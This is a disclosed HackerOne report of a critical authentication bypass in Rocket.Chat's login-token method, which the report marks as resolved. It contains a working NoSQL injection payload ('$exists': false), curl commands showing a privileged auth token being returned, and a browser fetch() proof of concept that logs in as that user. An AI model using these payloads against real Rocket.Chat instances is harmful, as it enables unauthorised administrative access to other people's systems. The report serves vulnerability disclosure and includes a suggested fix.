Authentication Bypass in login-token Authentication Method

Disclosed: 2024-08-10 21:57:39 By gronke To rocket_chat
Critical
Vulnerability Details
## Summary Improper input data validation in the `login-token` authentication method leads to an authentication bypass. ## Description Data from HTTP POST requests is forwarded to hardcoded Login Handlers, including the `login-token` method defined in [app/token-login/server/login_token_server.js#L10](https://github.com/RocketChat/Rocket.Chat/blob/a06e811ceeef6f674ff8c38e49ddcf0f476d9683/app/token-login/server/login_token_server.js#L10). ```javascript Accounts.registerLoginHandler('login-token', function (result) { if (!result.loginToken) { return; } const user = Meteor.users.findOne({ 'services.loginToken.token': result.loginToken, }); if (user) { Meteor.users.update({ _id: user._id }, { $unset: { 'services.loginToken': 1 } }); return { userId: user._id, }; } }); ``` The `result.loginToken` parameter is taken from the HTTP POST requests JSON body of the `/api/v1/login` route, so that Mongo DB injection returns a valid authToken for the first matching user. ```console $ curl -s 'http://127.0.0.1:3000/api/login' -H "Content-Type: application/json" -d '{"loginToken": { "$exists": false }}' | head { "status": "success", "data": { "userId": "rocket.cat", "authToken": "MnTHVIRTZfRBQiFQYzWZ1xbBlL4BUwK2-3UBWTftXpB", "me": { "_id": "rocket.cat", "avatarOrigin": "local", "name": "Rocket.Cat", "username": "rocket.cat", ``` Typically the first user in a Rocket.Chat MongoDB database is `rocket.cat`, which is a privileged account. This can be confirmed by using the returned secret in an API call to `/api/v1/me`: ```console $ curl -H "x-user-id: rocket.cat" -H "x-auth-token: MnTHVIRTZfRBQiFQYzWZ1xbBlL4BUwK2-3UBWTftXpB" http://127.0.0.1:3000/api/v1/me { "_id": "rocket.cat", "avatarOrigin": "local", "name": "Rocket.Cat", "username": "rocket.cat", "status": "away", "statusDefault": "online", "utcOffset": 1, "active": true, "_updatedAt": "2022-01-12T01:45:57.208Z", "roles": [ "bot" ], ``` When loginToken is legitimately used an attacker would need to switch the strategy from using `$empty` to `$regex` instead. ## Releases Affected: * 4.3.1 * 3.18.3 * develop ## Steps To Reproduce (from initial installation to vulnerability): 1. Open Rocket.Chat (logged out) 2. Open Web Inspector 3. Run PoC Request ## Supporting Material/References: ### Proof of Concept ```javascript fetch("/api/v1/login", { method: "POST", body: '{"loginToken": { "$exists": false }}', headers: { "Content-Type": "application/json" } }) .then(res => res.json()) .then(({ data: { userId, authToken }}) => { console.log(`login as ${userId}`) Meteor._localStorage.setItem(Accounts.USER_ID_KEY, userId); Meteor._localStorage.setItem(Accounts.LOGIN_TOKEN_KEY, authToken); window.location.reload() }); ``` ## Suggested mitigation * Validate `result.loginToken` input data in loginToken auth handler. ## Impact Unauthenticated clients can bypass the login and obtain administrative access to the Rocket.Chat instance.
Actions
View on HackerOne
Report Stats
  • Report ID: 1447619
  • State: Closed
  • Substate: resolved
  • Upvotes: 20
Share this report